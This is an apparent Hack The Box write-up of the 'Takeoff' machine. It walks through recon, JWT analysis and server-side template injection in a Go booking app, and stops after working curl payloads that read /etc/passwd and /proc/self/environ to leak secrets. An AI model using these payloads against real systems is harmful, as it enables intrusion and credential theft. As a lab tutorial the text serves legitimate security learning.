Linux

Hack The Box - HTB Takeoff Hard - Weekly - October 31th, 2026

Hack The Box - HTB Takeoff  Hard - Weekly - October 31th, 2026

From zero to root on a Go flight-booking app. Written so you can understand the theory behind every step and reproduce it.

Difficulty: Medium · Linux · SSTI → LFI → HMAC key leak → signature forgery → RCE → n8n → container escape → root

Flag Value
user.txt <capture it yourself>
root.txt <capture it yourself>
Note. Flag values are intentionally omitted from this copy. This document gives you the full method and theory — the flags are yours to capture by following the steps on a live instance.

Chain at a glance

  1. SSTI in the ticket notes →
  2. arbitrary file read (LFI) →
  3. leak of TICKET_VALIDATION_TOKEN and N8N_API_KEY from /proc/self/environ →
  4. forge the signed QR (HMAC) with our own command → RCE as www-data →
  5. internal n8n API (root inside a container) →
  6. the container's /root is the host's /home/kpark → SSH as kpark + SUID bash → root.

1 · Reconnaissance

Port scan (we use rustscan, faster than nmap for discovery):

rustscan -a 10.129.22.79 --ulimit 5000
# 22/tcp ssh OpenSSH 10.0p2 (Debian 13)
# 80/tcp http nginx -> Go/Echo + HTMX app

Port 22 is a very recent OpenSSH build: unlikely as a vector. The whole game lives on 80. Add the vhost to /etc/hosts:

echo '10.129.22.79 takeoff.htb dev.takeoff.htb' | sudo tee -a /etc/hosts
Theory — why vhosts. One web server serves different sites depending on the Host header. The app validates that Host (the JWT carries iss: takeoff.htb), so we must address it by name, not by IP, or some features break.

2 · The application and authentication

HTB Airways: flight booking. Stack is Go + Echo framework + HTMX (the HX-Request: true header makes the server return partial fragments). Sign-up / sign-in:

# sign-up
curl -s -d "name=pwn&email=pwn@test.htb&password=Passw0rd!123&terms=on" \
  http://takeoff.htb/sign-up

# sign-in -> returns the session cookie
curl -s -D - -o /dev/null -d "email=pwn@test.htb&password=Passw0rd!123" \
  http://takeoff.htb/sign-in | grep -i set-cookie
# Set-Cookie: session_token=eyJhbGciOiJIUzI1NiI... (JWT)

The session is an HS256 JWT. Decoding the payload:

echo "<JWT>" | cut -d. -f2 | base64 -d
{"user_id":2,"exp":...,"iat":...,"iss":"takeoff.htb"}
Theory — JWT and HS256. A JWT is three parts header.payload.signature in base64url. With HS256 the signature is HMAC-SHA256(secret_key, header.payload). If we knew the key, we could change user_id to 1 (admin) and re-sign it. So the first thing to try is to crack that key.
# save the JWT to jwt.txt and try rockyou
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Result: Exhausted -> the key is NOT in the dictionary. Dead end.
Lesson. When the secret is random, offline cracking is useless. We park this path and look elsewhere. The JWT only becomes relevant at the end as a hint (an admin exists, user_id:1), never as the exploit itself.

3 · Mapping the app: the ticket, the QR and check-in

Booking flow (all authenticated):

Step Request
Search GET /search/results?origin=HTB&destination=GLW&date=...
Start POST /book/start (schedule_id, seat_ids) → PNR
Passenger POST /book/<PNR>/passengers (full_name, dob, id...)
Payment POST /book/<PNR>/payment (payment_card_id)
Ticket GET /tickets/<PNR>/download (PDF with QR)
Notes POST /tickets/<PNR>/notes ← SSTI sink
Check-in POST /api/check-in (qr_data, gate)

The ticket carries a QR. On the check-in page that QR travels as a hidden field qr_data (base64). Decoding it reveals a Go gob blob that contains a JSON:

{"PNR":"7AS8GX","Token":"2a95...","Seat":"1A",
 "Passenger":"John Pwn",
 "NotifyCmd":"check-in-notify --pnr 7AS8GX --email pwn@test.htb"}
Theory — what we are looking at. NotifyCmd is a full shell command stored inside the QR. That screams "the server runs it at check-in to send the notification". If we could put our command there, we would have remote execution. The catch: the blob is signed (see §5-7).

Dead ends we ruled out (and why)

  • IDOR by PNR on /tickets/<PNR>: returns 404 for a PNR from another account → the server filters by user_id. Done right.
  • Card IDOR: payment_card_id values are global (1,2,3...) but paying with someone else's returns 400. Ownership is enforced.
  • Injection via the email (it flows into NotifyCmd): sign-up validates the format and only allows A-Z a-z 0-9 . _ - +. No metacharacters, no newlines. Not possible.

4 · SSTI in the ticket notes

The notes field is rendered inside the PDF. First test (the classic one):

# set the note and download the PDF
curl -s -b "session_token=$TOK" --data-urlencode "notes={{7*7}}" \
  http://takeoff.htb/tickets/$PNR/notes
curl -s -b "session_token=$TOK" -o bp.pdf http://takeoff.htb/tickets/$PNR/download
pdftotext bp.pdf -    # => prints {{7*7}} literally, NOT 49
Theory — SSTI and why {{7*7}} misleads you. SSTI (Server-Side Template Injection) happens when your input lands in a template the server evaluates. The payload {{7*7}}→49 works in Jinja2 (Python), but this app uses Go text/template, which has no arithmetic operators: {{7*7}} is invalid syntax and stays literal. Go only does field access and method calls: {{.Field}}, {{.Method "arg"}}. You have to probe with those.

Correct probe — reach into the context:

curl -s -b "session_token=$TOK" --data-urlencode "notes={{.User}}" \
  http://takeoff.htb/tickets/$PNR/notes
curl -s -b "session_token=$TOK" -o bp.pdf http://takeoff.htb/tickets/$PNR/download
pdftotext bp.pdf -
# Notes: {2 pwn pwn@test.htb ...} <-- the models.User struct, printed
SSTI confirmed. The server evaluated .User and dumped the struct. The template's root object exposes data and, crucially, a .File method.

5 · From SSTI to arbitrary file read (LFI) and secret leak

The template context registers a File method that reads a file off disk. That turns the SSTI into arbitrary file read:

curl -s -b "session_token=$TOK" \
  --data-urlencode 'notes={{.File "/etc/passwd"}}' \
  http://takeoff.htb/tickets/$PNR/notes
curl -s -b "session_token=$TOK" -o f.pdf http://takeoff.htb/tickets/$PNR/download
pdftotext f.pdf -
# root:x:0:0:... / kpark:x:1001 / vmiller:x:1000
Theory — why /proc/self/environ is gold. On Linux, /proc/<pid>/environ holds a process's environment variables (NUL-separated). /proc/self is the process doing the read: since the reader is the web app, we get its variables, which is where secrets usually live (keys, DB DSNs, tokens). A classic LFI post-exploitation move.
curl -s -b "session_token=$TOK" \
  --data-urlencode 'notes={{.File "/proc/self/environ"}}' \
  http://takeoff.htb/tickets/$PNR/notes
curl -s -b "session_token=$TOK" -o env.pdf http://takeoff.htb/tickets/$PNR/download
pdftotext -layout env.pdf -

Secrets leaked: